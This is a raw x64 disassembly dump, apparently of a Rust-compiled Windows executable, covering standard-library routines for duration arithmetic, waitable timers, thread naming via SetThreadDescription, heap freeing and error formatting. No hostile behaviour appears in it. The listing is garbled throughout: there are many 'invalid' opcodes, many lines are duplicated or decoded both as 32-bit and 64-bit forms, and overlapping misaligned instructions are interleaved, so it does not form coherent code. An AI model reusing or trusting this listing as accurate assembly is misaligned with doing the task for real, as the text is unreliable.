sub edx, edx
movzx edx, dx
mov bh, 0xd2
rol byte [rcx + 0xf], cl
movzx edx, word [r9 + rdx*2]
mov bh, 0x14
adc al, 0x51
push rcx
mov word [rbp + rax - 0x52], dx
mov dword [rbp + rax - 0x52], edx
push rsp
add eax, 0xc08348ae
add eax, 0xfffffffe
mov rdx, r8
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
mov rdx, r8
mov edx, eax
cmp rdx, 0xa
cmp edx, 0xa
cli
or cl, byte [rdi]
cmp ebx, 0
sti
add byte [rax], al
invalid
jae 0x1400d5938
sti
add byte [rax], al
add byte [rax + 0x548830ca], al
add eax, 0xc8ff48af
dec rax
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
dec rax
enter 0xfffffffffffffae9, 0
add byte [rax], al
jmp 0x1400d5946
cli
add byte [rax], al
add byte [rcx - 0x47], al
mov r9d, 0x81
invalid
invalid
mov r9d, 0x81
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
invalid
add byte [rax], al
mov rax, r8
shl byte [rsi + 0x66], 0x2e
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rcx, r9
shr rax, 4
mov r9d, r8d
and r9b, 0xf
and cl, 0xf
and cl, 0xf
lea r10d, [r9 + 0x30]
lea edx, [rcx + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
mov dh, 0xca
mov dh, 0xca
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
dec qword [r9 - 0x7d]
clc
adc byte [rcx - 0x77], cl
mov eax, eax
jae 0x1400d5860
dec qword [r9 - 0x7d]
clc
adc byte [rcx - 0x77], cl
mov eax, eax
jae 0x1400d5860
jmp case.0x140099c8c.439
mov r9d, 0x81
jmp case.0x140099c8c.439
mov r9d, 0x81
mov rax, r8
nop word cs:[rax + rax]
nop word cs:[rax + rax]
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
nop word cs:[rax + rax]
mov rcx, r9
shr rax, 4
mov r9d, r8d
and r9b, 0xf
cmovne ecx, dword [rbp - 0x72bacfaf]
pop rcx
invalid
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
movzx r9d, r10b
invalid
cmovne ecx, dword [rbp - 0x72bacfaf]
push rcx
xor byte [rbp - 0x73], al
pop rcx
invalid
stc
or al, byte [rbp + 0xf]
movzx r9d, r10b
invalid
retf 0xf45
movzx r10d, r11b
cmovb r10d, r9d
rol dword [rax + r9*4 + 0x54], 1
invalid
scasb al, byte [rdi]
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
push rsp
or eax, 0x498d4cae
dec dword [rcx - 0x7d]
invalid
lea r9, [rcx - 1]
lea ecx, [rcx - 1]
cmp r8, 0x10
cmp eax, 0x10
clc
adc byte [rcx - 0x77], cl
sal byte [rbx - 0x38], 0x48
add rcx, 0xfffffffffffffffe
mov r8, rax
jae case.0x140096fc6.446
add rcx, 0xfffffffffffffffe
sar esi, 0x48
cmp ecx, 0x81
add byte [rax], al
invalid
cmp rcx, 0x81
add byte [rax], al
add byte [rdi], cl
jae case.0x140092cfa.499
add dword [rax + rax - 0x7e480000], 0
add byte [rax + 0x81], bh
mov eax, 0x81
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
sub rax, r9
enter 0x148, 0xffffffffffffffe9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
and al, 0x20
sub byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
lea r8, [0x140172d18]
mov r9d, 2
add byte [rax], al
invalid
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
invalid
mov rcx, rdx
mov dl, 1
jmp case.0x140093f12.499
invalid
mov rdx, r8
mov rdx, r8
cmp rdx, 0x63
ja case.0x1400733b1.603
sar dh, cl
invalid
invalid
sar dh, cl
invalid
jmp 0x1400d5833
invalid
movzx edx, word [r9 + rdx*2]
push rcx
mov word [rbp + rax - 0x52], dx
scasb al, byte [rdi]
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
dec byte [rax - 0x73]
lea rdx, [rax + rbp]
adc al, 0x28
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
add byte [rax], al
invalid
mov al, 0x41
mov eax, 0x27
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x29], cl
sub eax, eax
mov qword [rsp + 0x28], r8
invalid
invalid
sub r8, rax
sub eax, eax
mov qword [rsp + 0x28], r8
and al, 0x28
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
push rsp
and al, 0x20
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdx - 0x36cebaff], dh
mov dl, 1
xor r9d, r9d
add dword [rbp + 0x31], eax
leave
call fcn.140012de0
outsd dx, dword [rsi]
invalid
nop
add rsp, 0xb0
add esp, 0xb0
add esp, 0xb0
mov al, 0
add byte [rax], al
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140115248]
clc
add eax, dword [rax]
mov edx, 0x80
add byte [rax], 0
add al, ch
invalid
adc ch, byte [rbx + rax]
invalid
add byte [rax], al
call fcn.1401085a0
add eax, dword [rax]
add ah, cl
int3
int3
mov rbp, rsp
cmp rcx, 0xffffffffffffffff
cmp ecx, 0xffffffff
cmp ecx, 0xffffffff
je case.0x140095d16.497
sbb ecx, dword [rcx - 0x77]
enter 0x48f0, 0xffffffffffffffff
lock dec qword [rcx + 8]
jne case.0x140095d16.497
mov r8, rcx
lock dec qword [rcx + 8]
or byte [rbp + 0x11], dh
jne case.0x140095d16.497
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or al, byte [rax]
xor edx, edx
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x3d9ab
and eax, 0x3d9ab
stosd dword [rdi], eax
fld dword [rbx]
add byte [rax - 0x33333ca3], dl
nop
pop rbp
ret
int3
int3
nop
pop rbp
ret
int3
int3
int3
int3
int3
mov rbp, rsp
cmp dword [rcx], 1
cmp dword [rcx], eax
cmp dword [rcx], eax
jne case.0x140095d16.487
mov r8, qword [rcx + 8]
or byte [r8 - 0x7d], cl
or byte [rax - 0x7d], cl
cmp qword [rcx + 0x10], 0
jns case.0x140095d16.472
adc byte [rax], al
add byte [rcx - 0x3a], al
mov byte [r8], 0
mov byte [rax], 0
add byte [rax], al
add byte [rcx + rdx + 0x48], dh
je case.0x140095d16.487
adc dword [rax - 0x75], ecx
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or eax, 0xac881
or al, byte [rax]
xor edx, edx
rcr byte [rbp + 0x48], cl
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x3d977
ja fcn.1400d59c0
add eax, dword [rax]
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
ja fcn.1400d59c0
add eax, dword [rax]
nop
pop rbp
ret
int3
int3
int3
push rsi
push rdi
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
lea rbp, [rsp + 0x20]
lea ebp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
and byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov esi, edx
mov rdi, rcx
mov edi, ecx
iretd
lea rcx, [0x14014b8a0]
lea ecx, [0x14014b8a0]
or eax, 0x75e97
xchg edi, eax
pop rsi
invalid
add al, ch
call sub.kernel32.dll_GetModuleHandleA
enter 0x2c4, 0
add al, byte [rax]
add byte [rax - 0x7b], cl
test rax, rax
sal byte [rdi + rbx + 0x48], 0x8d
je 0x1400d5a32
lea rdx, str.SetThreadDescription
lea edx, str.SetThreadDescription
adc eax, 0x75e8f
pop rsi
invalid
add byte [rax - 0x77], cl
mov rcx, rax
shr eax, 0xba
call sub.kernel32.dll_GetProcAddress
mov edx, 0x480002c4
test eax, eax
invalid
invalid
add al, byte [rax]
add byte [rax - 0x7b], cl
test rax, rax
ror byte [rbp + rcx*4 + 5], 0x24
lea r8, case.0x1400792d3.650
and al, 0
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx + 0x45], cl
cmovne r8, rax
jmp case.0x140095d16.502
cmovne r8, rax
cmovne eax, eax
shr r11b, 7
jmp case.0x140095d16.502
invalid
lea r8, case.0x1400792d3.650
add eax, 0x17
invalid
add byte [rcx + rcx*4 + 5], cl
mov qword [case.0x1400b36b6.683], r8
add dh, al
or al, byte [rax]
invalid
invalid
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
mov edx, esi
add rsp, 0x20
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rbp
jmp r8
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
invalid
lea rbp, [rsp + 0x20]
and byte [rcx + 0x78], bh
mov ecx, 0x78
add byte [rax], al
call qword [sym.imp.kernel32.dll_SetLastError]
adc eax, 0x3d863
invalid
add byte [rax - 0x7fffbfff], bh
mov eax, 0x80004001
add byte [rax + 0x20c48348], al
or byte [rax - 0x7d], 0xc4
add rsp, 0x20
invalid
and byte [rbp - 0x3d], bl
pop rbp
ret
mov rbp, rsp
test dl, dl
invalid
je case.0x1400b36b6.338
sal byte [rsp + rax - 0x3a], cl
mov byte [rcx + 0x10], 1
adc byte [r9], al
lock dec qword [rcx + 8]
dec qword [rcx + 8]
or byte [r13 + 0xc], sil
or byte [rbp + 0xc], dh
jne 0x1400d5a8f
mov rcx, qword [rcx]
mov ecx, dword [rcx]
or dword [rax + 0x30418601], esi
mov al, 1
xchg byte [rcx + 0x30], al
xor byte [r15 + rdi*8], dil
cmp al, 0xff
push qword [rdx + rax + 0x5d]
je case.0x1400a4d30.438
pop rbp
ret
add rcx, 0x30
xor byte [rbp + 0x48], bl
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x3d59b
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x3d59b
and eax, 0x3d59b
wait
invalid
add eax, dword [rax]
add ah, cl
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
invalid
insb byte [rdi], dx
lea rbp, [rsp + 0x30]
lea ebp, [rsp + 0x30]
and al, 0x30
mov rsi, rcx
xor ecx, ecx
leave
xor edx, edx
mov r8d, 2
mov eax, 2
add byte [rcx - 0x47], al
add eax, dword [rax]
add byte [rdi], bl
mov r9d, 0x1f0003
mov ecx, 0x1f0003
add byte [rdi], bl
add bh, bh
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
adc eax, 0x3d992
xchg edx, eax
fld dword [rbx]
invalid
add eax, dword [rax]
add byte [rax - 0x7b], cl
test rax, rax
sal byte [rsi + rbx*2 + 0x48], 0x89
je case.0x1400a4d30.433
mov rdi, rax
imul rax, rsi, 0xffffffffff676980
invalid
sub byte [rcx + 0x67], 0xff
invalid
sub byte [rcx + 0x67], 0xff
imul esp, dword [rdi - 1], 0x458948
dec dword [rax - 0x77]
add r15b, r8b
add bh, al
invalid
and al, 0x28
and al, 0x28
invalid
mov qword [rbp], rax
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rdx, rbp
mov rcx, rdi
xor r8d, r8d
xor eax, eax
xor eax, eax
rol byte [rbp + 0x31], 0xc9
xor r9d, r9d
xor ecx, ecx
leave
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
invalid
je case.0x1400a9119.390
fld dword [rbx]
add byte [rbp + 0x482074c0], al
invalid
je case.0x1400a9119.390
invalid
sal byte [rax + riz + 0x48], 0x89
stc
mov rcx, rdi
mov ecx, edi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
adc eax, 0x3d93a
adc eax, 0x3d93a
fld dword [rbx]
add byte [rcx - 0x676b73d], cl
mov ebx, eax
mov rcx, rdi
mov ecx, edi
mov ecx, edi
stc
call qword [sym.imp.kernel32.dll_CloseHandle]
invalid
add byte [rbx + 0x2475fffb], al
cmp ebx, 0xffffffff
jne 0x1400d5b42
invalid
sti
push qword [rbp + 0x24]
invalid
and al, 0xeb
or dword [rax - 0x77], ecx
mov rcx, rdi
jmp case.0x1400a4d30.433
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.kernel32.dll_CloseHandle]
invalid
add eax, dword [rax]
imul rax, rsi, 0x3e8
add eax, dword [rax]
add byte [rcx - 1], bh
invalid
invalid
invalid
invalid
add byte [rax], al
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
cmovb ecx, eax
call qword [sym.imp.kernel32.dll_Sleep]
adc eax, 0x3d8fe
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
invalid
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
mov esi, r8d
mov esi, eax
mov rdi, rdx
mov edi, edx
mov r9, qword [0x140182278]
or eax, 0xac706
add byte [rbp - 0x7b], cl
test r9, r9
leave
jne case.0x1400b36b6.355
mov rbx, rcx
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
retf
mov dword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
clc
clc
lea rcx, [rbp - 8]
clc
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
invalid
ror byte [rdi], 0x84
mov eax, 0x4c000001
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
mov ecx, dword [rbp - 8]
mov r9, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov qword [0x140182278], r9
mov dword [0x140182278], ecx
invalid
or al, byte [rax]
test r9, r9
leave
mov rcx, rbx
mov ecx, ebx
je 0x1400d5cf6
add byte [rax], al
add byte [rcx - 0x7f], cl
cmp r9, 0x3b9aca00
ja 0x1400d5bc0
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xc]
mov eax, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rcx]
rol byte [rcx - 9], cl
xor edx, edx
div r9d
int1
int1
jmp 0x1400d5bc2
add dh, byte [rcx]
ror byte [rbp + 0x65360090], 0xc4
invalid
invalid
invalid
xor eax, eax
lea edx, [rax - 0x3b9aca00]
invalid
invalid
xor r8d, r8d
xor eax, eax
cmp r9, 2
cmp ecx, 2
stc
add al, byte [rcx + 0xf]
setb r8b
xchg edx, eax
ror byte [rdi], 0x43
invalid
invalid
cmovae edx, eax
cmp edx, 0x3b9aca00
retf 0x3b9a
jb case.0x1400b36b6.346
invalid
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x1b]
invalid
retf 0x3b9a
invalid
sbb ecx, dword [rcx + 0x9e8c1d0]
mov eax, edx
shr eax, 9
call 0x10076a3ef
or dword [rbx + 4], 0
add al, 0
or dword [rax + 0x69], ecx
imul rax, rax, 0x44b83
rol byte [rbx + 0x4800044b], 0xc1
add al, 0
add byte [rax - 0x3f], cl
shr rax, 0x27
call 0x1000ea518
invalid
add r8, rax
imul eax, eax, 0x3b9aca00
sub edx, eax
invalid
retf 0x3b9a
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
add dword [rbx + 0x39480849], ecx
mov ecx, dword [rcx + 8]
cmp rax, rdi
cmp eax, edi
or byte [r8 + 0x39], cl
cmp eax, edi
clc
jne 0x1400d5c06
add bh, byte [rcx]
cmp ecx, esi
int1
jae case.0x140096fc6.753
add byte [rax], al
add byte [rcx - 0x77], cl
mov r9, rdi
add byte [rax], al
mov r9, rdi
mov ecx, edi
sub r9, rax
sub ecx, eax
ror dword [rdi], 0x82
invalid
jb 0x1400d5d02
add byte [rax], al
add byte [rcx], bh
cmp ecx, esi
int1
jbe case.0x1400b4fd6.320
test r9, r9
test ecx, ecx
leave
je 0x1400d5d02
fld qword [rax]
add byte [rax], al
invalid
add byte [rcx - 1], cl
leave
dec r9
dec ecx
lea r10d, [rsi + 0x3b9aca00]
lea edx, [rsi + 0x3b9aca00]
add dl, cl
retf 0x3b9a
invalid
sub r10d, ecx
sub edx, ecx
retf 0x8141
cmp r10d, 0x3b9aca00
cli
add dl, cl
invalid
cmp esi, dword [rbx + 0x11]
jae case.0x140095d16.622
jmp case.0x1400b958a.304
mov r10d, esi
sub r10d, ecx
sub edx, ecx
cmp r10d, 0x3b9aca00
cmp edx, 0x3b9aca00
cli
add dl, cl
invalid
retf 0x3b9a
invalid
cmp esi, dword [rdx + 0x25]
jb case.0x1400b958a.304
mov r11d, r10d
mov ebx, edx
rol dword [rcx - 0x3f], cl
shr r11d, 9
shr ebx, 9
jmp case.0x140095d16.672
imul r11, r11, 0x44b83
imul ebx, ebx, 0x44b83
fild dword [rbx + 0x4900044b]
shr ebx, 0x27
jmp case.0x1400b958a.333
or dword [rbx + 4], 0
add al, 0
add byte [rcx - 0x3f], cl
shr r11, 0x27
jmp case.0x1400b958a.333
invalid
add r9, r11
invalid
jb case.0x1400db648.375
add byte [rax], al
add byte [rbp + 0x69], al
invalid
add byte [rax], al
imul r11d, r11d, 0x3b9aca00
imul ebx, ebx, 0x3b9aca00
fild dword [rax]
retf 0x3b9a
invalid
cmp eax, dword [rbp + 0x29]
fiadd dword [rbp + 0x31]
xor r11d, r11d
cmp r9, r8
invalid
invalid
xchg ebp, eax
sub r10d, r11d
xor r11d, r11d
xor ebx, ebx
cmp r9, r8
cmp ecx, eax
setne r11b
mov r8d, 0xff
inc dword [rax]
add byte [rax], al
invalid
xchg ebp, eax
ret
inc dword [rax]
add byte [rax], al
invalid
cmovb r11d, r8d
fadd dword [rbp + 0x31]
xor r9d, r9d
leave
cmp r10d, edx
cmp edx, edx
setne r9b
setne cl
xchg ebp, eax
rol dword [rbp + 0xf], 0x42
cmovb ecx, eax
test r11b, r11b
cmovb r9d, r8d
cmovb ecx, eax
enter 0xffffffffffff8445, 0xffffffffffffffdb
test r11b, r11b
test bl, bl
fild dword [rbp + 0xf]
cmovne r9d, r11d
cmp r9b, 1
stc
add dword [rbp + 0x49], esi
retf
retf
stc
add dword [rbp + 0x49], esi
mov edx, 0x3b9aca00
add dl, cl
invalid
cmp ecx, dword [rax + 0x29]
clc
sub rax, rdi
jae 0x1400d5cac
add ch, bl
cmp r9d, esi
int1
jmp case.0x1400c3039.321
cmp ecx, esi
int1
jae 0x1400d5cbe
test rax, rax
test eax, eax
sal byte [rbp + rsi*8 + 0x48], 0xff
enter 0xffffffffffffc181, 0
rol dword [rax], 0xca
invalid
invalid
je case.0x14009fa62.452
dec rax
add ecx, 0x3b9aca00
rol dword [rax], 0xca
invalid
invalid
rol dword [rax], 0xca
invalid
cmp ecx, dword [rcx - 0x7e0dd636]
cli
add dl, cl
invalid
invalid
mov edx, ecx
sub edx, esi
cmp edx, 0x3b9aca00
cmp edx, 0x3b9aca00
retf 0x3b9a
jb case.0x1400c3039.321
and ecx, dword [rcx + 0x9e9c1d1]
mov ecx, edx
shr ecx, 9
invalid
invalid
jmp 0x10976a4db
imul rcx, rcx, 0x44b83
leave
or dword [rbx + 4], 0
invalid
add byte [rax - 0x3f], cl
jmp 0x1080ea504
invalid
add rax, rcx
shr rcx, 0x27
add rax, rcx
invalid
jb case.0x1400db648.375
imul ecx, ecx, 0x3b9aca00
add dl, cl
invalid
sub edx, ecx
jmp case.0x1400c3039.321
xor eax, eax
xor edx, edx
invalid
ror byte [rax - 0x7d], cl
invalid
add rsp, 0x68
push 0x5d5e5f5b
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_syspalwindows_time.rs
call fcn.1401087d0
add eax, dword [rax]
invalid
mov bl, 0x5a
invalid
lea rcx, str.overflow_when_subtracting_durations
or eax, 0x75a40
pop rdx
invalid
add byte [rbp + rcx*4 + 5], cl
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
invalid
mov edx, 0x23
call fcn.140108990
add eax, dword [rax]
add byte [rax], al
add al, ch
jbe case.0x1400a4d30.560
add eax, dword [rax]
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x39], cl
fmul dword [r8]
or byte [rax], al
add byte [rax], al
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x39], cl
fmul dword [r8]
or byte [rax], al
add byte [rax], al
invalid
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
movups xmmword [rbp - 0x20], xmm0
invalid
movups xmmword [rbp - 0x20], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea edx, [0x140149448]
adc eax, 0x73705
invalid
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
call fcn.140108560
adc al, 0x28
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_GetLastError]
add eax, dword [rax]
add byte [rax - 0x3f], cl
shl rax, 0x20
loopne 0x1400d5d76
or rax, 2
mov qword [rbp - 0x38], rax
invalid
invalid
enter 0x4802, 0xffffffffffffff89
enter 0xffffffffffff8d48, 5
invalid
lea rax, str.library_std_src_syspalwindows_time.rs
lea eax, [0x14014b7c8]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
or eax, 0x9cc1f
invalid
add byte [rbp + rcx*4 + 0xd], cl
lea r9, fcn.1400d3380
jo case.0x1400c9de6.237
invalid
invalid
lea r8, [rbp - 0x38]
lea eax, [rbp - 0x38]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
pop rdx
sub eax, dword [rbx]
invalid
call fcn.1401088e0
add eax, dword [rax]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
ud2
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x10], edx
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea rcx, [rbp - 0x38]
call fcn.1400d3380
call qword [rax + 0x28c48348]
call qword [rax + 0x28c48348]
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
invalid
invalid
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov eax, edi
and eax, 3
lea rcx, [0x140178f5c]
lea ecx, [0x140178f5c]
or eax, 0xa3175
or al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.Errorcode
adc eax, 0x9d876
adc eax, 0x9d876
fmul dword [rcx]
add byte [rcx - 0x48], al
mov eax, 5
add bh, bh
push rax
sbb byte [rax - 0x77], cl
mov qword [rbp - 0x20], rsi
mov r8d, 5
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
call 0x140f6a3d9
jmp 0x18f9aaa16
add byte [rbp + rcx*4 + 0x4f], cl
adc byte [rax - 0x73], cl
add eax, 0x741aa
lea r9, [rdi + 0x10]
lea ecx, [rdi + 0x10]
lea rax, [0x140149fc8]
lea eax, [0x140149fc8]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
lea edx, str.kind
xchg esi, eax
invalid
invalid
lea rsi, [rbp - 0x20]
mov r8d, 4
add al, 0
add byte [rax], al
jne case.0x1400b7369.476
add al, 0
add byte [rax], al
mov rcx, rsi
call fcn.140014510
invalid
out 0xf3, al
dec dword [rax - 0x73]
lea rax, [0x14014a010]
add eax, 0x741cd
invalid
add eax, 0x741cd
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, str.message
mov r8d, 7
mov eax, 7
fmul dword [rcx]
add byte [rcx - 0x48], al
invalid
invalid
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
mov r9, rdi
call fcn.140014510
mov al, 0xe6
invalid
invalid
mov al, 0xe6
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
movzx ecx, byte [rbp - 0x18]
invalid
invalid
invalid
invalid
cmp byte [rbp - 0x17], 0
jmp 0x18dc36d67
movzx ecx, byte [rbp - 0x18]
je 0x1400d607b
add byte [rax], al
add byte [rax + 0xfc98401], dh
mov al, 1
test cl, cl
jne 0x1400d623b
test ebx, eax
add eax, dword [rax]
add byte [rax - 0x75], cl
ret
mov rax, qword [rbp - 0x20]
loopne 0x1400d5e73
test byte [rax + 0x34], 4
xor al, 4
jne 0x1400d605e
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x6f0b4
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x6f0b4
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
jmp 0x1400d623b
add eax, dword [rax]
invalid
push rax
sbb cl, ch
cwde
add eax, dword [rax]
add byte [rax - 0x3f], cl
invalid
invalid
out dx, eax
shr rdi, 0x20
shr edi, 0x20
and byte [rcx - 0x74b72383], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x740e4
invalid
jge 0x1400d5e86
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x740e4
invalid
lea edx, [0x140149f9d]
add byte [rcx - 0x48], al
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
jne 0x1400d5e8e
mov byte [rbp - 0x30], al
invalid
push rax
sbb byte [rax - 0x77], cl
jne 0x1400d5e8e
rol dh, 1
rol dword [r8], 1
invalid
mov byte [rbp - 0x2f], 0
add byte [rax - 0x73], cl
lea rax, [0x140149fa0]
add eax, 0x740cc
int3
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x9d79a
invalid
xlatb
or dword [rax], eax
lea rdx, [0x14017367a]
invalid
lea rsi, [rbp - 0x38]
lea esi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
add byte [rax], al
add byte [rax], al
mov rcx, rsi
int1
call fcn.140014510
mov ecx, dword [rbp - 0x24]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
invalid
dec dword [rbx - 0x6d1723b3]
fsub st(0), st(0)
xchg edx, eax
add eax, dword [rax]
add byte [rax - 0x72b700bb], cl
lea rax, [0x140149fc8]
add byte [rax], al
mov byte [rbp - 1], al
lea rax, [0x140149fc8]
rol byte [rax + 7], 0
mov qword [rsp + 0x20], rax
lea rdx, str.kind
adc eax, 0x740ac
lodsb al, byte [rsi]
invalid
lea r9, [rbp - 1]
lea ecx, [rbp - 1]
inc qword [r9 - 0x48]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140014510
mov edx, dword [rbp - 0x24]
fmul qword [rax - 0x73]
jge 0x1400d5f0d
dec dword [rbx - 0x72b723ab]
fmul qword [rax - 0x73]
jge 0x1400d5f0d
loopne 0x1400d5f76
mov rcx, rdi
mov ecx, edi
call fcn.1400d6450
lea rax, [0x140149fe8]
lodsb al, byte [rsi]
invalid
invalid
invalid
add eax, 0x8d480000
add byte [rax - 0x73], cl
add eax, 0x740ac
lodsb al, byte [rsi]
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x73], cl
adc eax, 0x9d758
pop rax
xlatb
or dword [rax], eax
lea rdx, str.message
pop rax
xlatb
or dword [rax], eax
mov r8d, 7
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov r9, rdi
call fcn.140014510
mov bh, 0xe5
invalid
invalid
mov bh, 0xe5
inc dword [rax + 0xf00d17d]
cmp byte [rbp - 0x2f], 0
invalid
in eax, 0xf3
inc dword [rax + 0xf00d17d]
cmp byte [rbp - 0x2f], 0
invalid
cmp byte [rbp - 0x2f], 0
rol dword [rax], 1
